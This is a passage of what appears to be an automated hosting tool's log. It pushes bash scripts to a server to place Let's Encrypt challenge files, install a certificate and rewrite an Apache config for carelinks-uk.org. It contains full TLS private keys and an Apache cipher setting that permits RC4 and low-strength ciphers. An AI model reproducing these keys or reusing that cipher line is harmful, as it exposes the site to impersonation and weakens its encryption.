/5aVSAVvUJ4MOixDAv+wyjeKg2KysLAGWbLhmeRLyN32sZF1g/BKcSyK/4ZZBU6o
uyo70rowixrMrFzKg4rTtEPt1XhrwBldeNIvE4qOwelV9lvPdxcR0F2mnMjU4iL6
8iXK/TyFNZ2dqMnvTth8VPg3D9zfTCFbthx5GIqaCNMUgcfZ7uEX+wN7BKQAPG6C
Q3Du2VtXuyKd9olp3tCw2ae8KPyhP5Y5TbgOP1kyIQKBgQDi2TwVmgsLgEMpRaEP
NdrzoHHTPua3tdo/uB0qhmUqHtuJ6oh7DXcUlEixf7F8BUOPWoEbc3QcCzXSaF9Y
GK+4zM8modUOE1D+bEwticRgPsyVPIVxGdBLcQqbh7SNpMiQuSoIsx8Pm9GW5L/D
PK8VjRLukNqooMaks2xqNKENnQKBgQDF57D3nI5ae5dHpV0I3pTrBArclp0Gbi31
W+OEtRcHwpsK3Cqi7P1sVgqmrZYY9Fab/usNr7BqGxUcfA5GwoCO7dl7hyGhMq/e
j6/K1MJhGS0wpxzpjAjQLhHU12HvZdFLtVF49VJsYKhC6Ih6B5cWW/1k713ZTrEJ
4uzi5z4wrQKBgC7pf8xz087oEnuJg7oyh/oT9xYZjvr055J/z8BIlMk2Im6OCvVv
nm2qELJsVtbv+728mLCFmsBl7RZ7MSR1znkoGbrCgt3rTreey84rDGpe8k32ex4d
mX7QfMIXOVaFeli7gh7UdBr1PU24NpP4i7ioOP8PA7kVrp7G4CfChH/dAoGAWEkH
lS5uAsdnsTp/ylkhLcZb4hP+cMPuFKqtUKJIZ9nUuH+HNa9rTk0D6188ul0l1ele
inh5xpvWSyK8a6yRFTHd91FNG1A1TJ/k2CMZo59LnYyvRTCHLfefVMfQlK9jMtbs
RX2LC3YDGfYKDAYezIa0/7YYs7x7FeH5sy9devECgYBBpHXewJezAvxWukj2nMih
xaLCedYlKS6QYVJ0nhdmCVA7iMyKGrDjwYTQ36ojOIqgeej0rr+OWmvj4qsaYOb2
2OT4XWuxMzYXK8Nm6yrn9axcSkvG1+7YaZ1CGp/qjVpRhGvgft5goqVVeCw5TuiF
90QBSxj/Am4MkaHr47Vq+Q==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-10 06:00:02: Establishing a connection
2026-01-10 06:00:03: Establishing a connection
2026-01-10 06:00:03: 

PUT: /tmp/pkp478682

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-10 06:00:04: 

chmod 755 /tmp/pkp478682; /tmp/pkp478682; rm /tmp/pkp478682

2026-01-10 06:00:04: 


1


2026-01-10 06:00:05: Establishing a connection
2026-01-10 06:00:05: 

PUT: /tmp/pkp780104

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > ifDShprDO1HeD5ebtbzQscHDLai14hzj2TZofSBpvyA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ifDShprDO1HeD5ebtbzQscHDLai14hzj2TZofSBpvyA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ifDShprDO1HeD5ebtbzQscHDLai14hzj2TZofSBpvyA


2026-01-10 06:00:05: 

chmod 755 /tmp/pkp780104; /tmp/pkp780104; rm /tmp/pkp780104

2026-01-10 06:00:05: 




2026-01-11 06:00:03: Establishing a connection
2026-01-11 06:00:04: Establishing a connection
2026-01-11 06:00:04: 

PUT: /tmp/pkp464137

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-11 06:00:04: 

chmod 755 /tmp/pkp464137; /tmp/pkp464137; rm /tmp/pkp464137

2026-01-11 06:00:04: 


1


2026-01-11 06:00:06: Establishing a connection
2026-01-11 06:00:06: 

PUT: /tmp/pkp237688

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > PqYCN9caxRb0peowZ2wPUnCn_XJYOuY_IqllqJjlDT0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
PqYCN9caxRb0peowZ2wPUnCn_XJYOuY_IqllqJjlDT0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 PqYCN9caxRb0peowZ2wPUnCn_XJYOuY_IqllqJjlDT0


2026-01-11 06:00:07: 

chmod 755 /tmp/pkp237688; /tmp/pkp237688; rm /tmp/pkp237688

2026-01-11 06:00:07: 




2026-01-12 06:00:03: Establishing a connection
2026-01-12 06:00:03: Establishing a connection
2026-01-12 06:00:04: 

PUT: /tmp/pkp186991

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-12 06:00:04: 

chmod 755 /tmp/pkp186991; /tmp/pkp186991; rm /tmp/pkp186991

2026-01-12 06:00:04: 


1


2026-01-12 06:00:05: Establishing a connection
2026-01-12 06:00:06: 

PUT: /tmp/pkp858355

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > jWTH909KtPs4JQ4BiV-4zBBBNlh5kSU6oMHfQWtXRsk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jWTH909KtPs4JQ4BiV-4zBBBNlh5kSU6oMHfQWtXRsk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jWTH909KtPs4JQ4BiV-4zBBBNlh5kSU6oMHfQWtXRsk


2026-01-12 06:00:06: 

chmod 755 /tmp/pkp858355; /tmp/pkp858355; rm /tmp/pkp858355

2026-01-12 06:00:06: 




2026-01-13 06:00:03: Establishing a connection
2026-01-13 06:00:03: Establishing a connection
2026-01-13 06:00:03: 

PUT: /tmp/pkp820300

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-13 06:00:04: 

chmod 755 /tmp/pkp820300; /tmp/pkp820300; rm /tmp/pkp820300

2026-01-13 06:00:04: 


1


2026-01-13 06:00:05: Establishing a connection
2026-01-13 06:00:05: 

PUT: /tmp/pkp459841

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > QZJ7fEstNhb9eAOQVFehOvjCm8z5C-SqP_XVgNLceqY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QZJ7fEstNhb9eAOQVFehOvjCm8z5C-SqP_XVgNLceqY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QZJ7fEstNhb9eAOQVFehOvjCm8z5C-SqP_XVgNLceqY


2026-01-13 06:00:05: 

chmod 755 /tmp/pkp459841; /tmp/pkp459841; rm /tmp/pkp459841

2026-01-13 06:00:05: 




2026-01-14 06:00:03: Establishing a connection
2026-01-14 06:00:03: Establishing a connection
2026-01-14 06:00:03: 

PUT: /tmp/pkp359870

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-14 06:00:04: 

chmod 755 /tmp/pkp359870; /tmp/pkp359870; rm /tmp/pkp359870

2026-01-14 06:00:04: 


1


2026-01-14 06:00:05: Establishing a connection
2026-01-14 06:00:05: 

PUT: /tmp/pkp390870

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > 9Xa9ihzvr5oLbQ6UlEX5joXuKXMhRF4HJfKZfINjN18 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9Xa9ihzvr5oLbQ6UlEX5joXuKXMhRF4HJfKZfINjN18.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9Xa9ihzvr5oLbQ6UlEX5joXuKXMhRF4HJfKZfINjN18


2026-01-14 06:00:05: 

chmod 755 /tmp/pkp390870; /tmp/pkp390870; rm /tmp/pkp390870

2026-01-14 06:00:05: 




2026-01-14 06:00:07: Establishing a connection
2026-01-14 06:00:07: Establishing a connection
2026-01-14 06:00:07: 

PUT: /tmp/pkp546170

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-14 06:00:07: 

chmod 755 /tmp/pkp546170; /tmp/pkp546170; rm /tmp/pkp546170

2026-01-14 06:00:07: 


1


2026-01-14 06:00:08: Establishing a connection
2026-01-14 06:00:08: 

PUT: /tmp/pkp825618

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > 9HPzH2_Q4NWYpxsywLrFfBkwV8XC0j-94FhPX8y2PXE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9HPzH2_Q4NWYpxsywLrFfBkwV8XC0j-94FhPX8y2PXE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9HPzH2_Q4NWYpxsywLrFfBkwV8XC0j-94FhPX8y2PXE
cat > oNwSCFRwHXuyyGLYgBsBOvgM0AOoUFehgqkjfaLmtPo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
oNwSCFRwHXuyyGLYgBsBOvgM0AOoUFehgqkjfaLmtPo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 oNwSCFRwHXuyyGLYgBsBOvgM0AOoUFehgqkjfaLmtPo


2026-01-14 06:00:08: 

chmod 755 /tmp/pkp825618; /tmp/pkp825618; rm /tmp/pkp825618

2026-01-14 06:00:08: 




2026-01-14 06:00:19: Establishing a connection
2026-01-14 06:00:19: 

PUT: /tmp/pkp359507

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm 9HPzH2_Q4NWYpxsywLrFfBkwV8XC0j-94FhPX8y2PXE
rm oNwSCFRwHXuyyGLYgBsBOvgM0AOoUFehgqkjfaLmtPo


2026-01-14 06:00:19: 

chmod 755 /tmp/pkp359507; /tmp/pkp359507; rm /tmp/pkp359507

2026-01-14 06:00:19: 




2026-01-14 06:00:19: Establishing a connection
2026-01-14 06:00:19: 

PUT: /tmp/pkp318352

#!/bin/bash
temp_file=$(mktemp)
TARGET=50ea9c948624fd26b0aa34d6cc8b41c6.crt

cat > $temp_file <<'endmsg'
fb:1d:fa:ab:0f:b9:6a:d1:76:34:6c:78:63:ab:a3:21

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBkiwc8C5N0CrcBnGQmmlIwIPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTE0MDUwMTQ3WhcNMjYwNDE0MDUwMTQ2WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwun35OO2CA7R7KopW/C6XJdDMlFLaXFosGbn2+C894BDVb/iQcokLCKnK6kR
u0vXkqBfk3j8E9tQo/a//yoCegiPjQN9dvvCaWZrjCsZTndIiJ37dwG8TQqxqvJi
8XZ0NAbewZr9YSEZ39HzcoOeSjD3QSaYq7g5iZdMLjLvafRRzcV2iCk92L05+7s6
OlwDLnAKghDbHbzjtzcInIF4VfmMqdCeNKDnlLyycnDR5J69gKjN4LXMAP8Cpjta
2KTs5zir9boXXq96Dez9x2VKcQFYjEp3veaSrYEujMpEm/BRNTGxwxDOnNRy0vEf
M+nzgP+40gfTWTdPz7amdaEsTwIDAQABo4ICPTCCAjkwDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQ/tmQiDpe37Y4mr7LXSmhuJC9YdjAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy11ay5vcmeC
FHd3dy5jYXJlbGlua3MtdWsub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTYuY3JsMIIBCwYK
KwYBBAHWeQIEAgSB/ASB+QD3AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekx
syPLlQQAAAGbuxcyoQAABAMARzBFAiEAgDjz3Qyf0xVybxdmSUr1mZ+/UwywVdnV
Ia8gj8BG62oCIAVST+l3/Y9LoqhElj93xzRBtw957IOUTNmZ6yJqKTjeAH0A4yON
8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugAAAGbuxczWwAIAAAFAC9XdgkE
AwBGMEQCICpmL3+CNT7o6ess795YleRP4IDVFpQ8YiOvHVILdx9XAiAk5a8nS6P5
1GZ08vEt4X4iSIOXqVxIbaJ+9NclLeebbzANBgkqhkiG9w0BAQsFAAOCAQEAJbvR
enPWqKMczNy2SCHH9g8+3CbDBJnBEqe912pDULU7ekCpWXc9wNg3xSPEVtj5m/S+
72FmNxTtxPd7s44O8s85Lz0RvVkax5YrDYczsLRzEXTQSddwCQJ4lMUUUv2GzY6C
ZnnRva8SRr4w4cYwIPeXTG6KEyTv7YFkV6Ls9GELoWRJH4iT+CB4OSDp4Gvq9gs2
DtvJFuMqcWxalGxz4Rst4BvZrYz1XojOmCiGkVg/lHrZJ+kO02KoUZbwFqgr5LLZ
o42YnhonPtgIDYAJHrHusWlx0HUBixBPeQoaCFsoUy1URvwILy7d9rncQunYDCZb
83cYE+/WIqKSFaoDhQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDC6ffk47YIDtHs
qilb8Lpcl0MyUUtpcWiwZufb4Lz3gENVv+JByiQsIqcrqRG7S9eSoF+TePwT21Cj
9r//KgJ6CI+NA312+8JpZmuMKxlOd0iInft3AbxNCrGq8mLxdnQ0Bt7Bmv1hIRnf
0fNyg55KMPdBJpiruDmJl0wuMu9p9FHNxXaIKT3YvTn7uzo6XAMucAqCENsdvOO3
NwicgXhV+Yyp0J40oOeUvLJycNHknr2AqM3gtcwA/wKmO1rYpOznOKv1uhder3oN
7P3HZUpxAViMSne95pKtgS6MykSb8FE1MbHDEM6c1HLS8R8z6fOA/7jSB9NZN0/P
tqZ1oSxPAgMBAAECggEAEaxyaGRHcLKbUVjamDYbR+MFWk4pxt1cL0addoAJ0m1k
baWRCAMixYe83cYeT/vgB7EYCYC6ZriHtt5caXAvOk6FabVrznqklbcOQG72A/nn
709X6mITZ271TjldRGTHw6Ht1+NMX17HgFaCuxr5IuQOv28W/9ccDIBWDYhb0iEH
MKPOmDtyeTY/uAlwYj96LItewRvMX7XoxmKdzyVchTal1WnQWG5jl8/UIHlHY3D1
iLTyFD5S1AFAP+w6FN46JnDC+tHex5FDzPHILjgg6BybXabmQEg1m2UMVhNmHic3
RHuOJFDM4l7tos1QmW2LxQCONCO8rKbEnW84XABOzQKBgQDouWJk97ZT6oKPr4KJ
jVGFyVuIa+pjJCDY+ajae9frqCqTTgmfGAuvIrMEgxZg4gBB1bzYi+hDbq307hqj
Ct0xHq4PG3zs31NGq4aRoNGOwqu79bclRub43cmzytr/C8LBG12JQQNWl5lA7+OM
OV48Jd8Rx4igZBLFffGDf1nGCwKBgQDWaH/3AQkO/l/YiAJOQLO1olvbQxR2UOtl
IU+IwW19UV/Ip4w/GIB0gt0dxySDB47pMK85tjs7fPehj4bAamdtscydLA2qo+PB
jy18zQXjbtsuQBp8/39hIsRvvtKjFimU2kXGa+mIKvoZ98bBc3a02vO2MlORSPTW
/gJRf/mxTQKBgQDDYah+1gzn5NFaKmJwcwmHRaaoINm2BEXjg67ERwbe3N9prjGb
tMdScNJUrm1iRzsqCnSyZLtJqak4IZKRYXSUYYqGOnCmOVQj16txpc9piHw/oCnz
jNQrCaDmZh930nrePshHjCJuV3Yds4iZWCyKWM0vkxJcfcfYsETMPmWzQwKBgH+q
g5+hFzK9VnbJLY5Iynj5rvZU7+cvcaqq9f+5JSe8f2ssEL81KK+3iFAF1wDKTFcf
rQaRMp3OYGjr3FHQSbuwZeSkaZLUuXX0eiJYtgvhY1MbymnpfIBrQkpDdoqzVJkU
iv2GHez9oiQ6PDfON72irgEr4ESfC2LEpr6+k//1AoGBAJR3BhcU8hmZAZ/lzImV
MVGBYNOf7rNOc5toFYBp1f7mbg3akdJhz4nomI+MmxoUWipd73To6ICX0Rw9VjsS
SrGd5pZiykzjrmhmT+SJzroCF7WswA3tfckSWOSssEKJ4+S6noeQ1pa0+QOugLsE
/wmU42YMUi4hDr9CH8a3LDDi
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-14 06:00:19: 

chmod 755 /tmp/pkp318352; /tmp/pkp318352; rm /tmp/pkp318352

2026-01-14 06:00:19: 


dir=/etc/ssl/certs


2026-01-14 06:00:19: 

PUT: /tmp/pkp833440

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks-uk_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-14 06:00:19: 

chmod 755 /tmp/pkp833440; /tmp/pkp833440; rm /tmp/pkp833440

2026-01-14 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf 44

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-14 06:00:19: 

PUT: /tmp/pkp928333

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks-uk_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks-uk_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks-uk_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf'
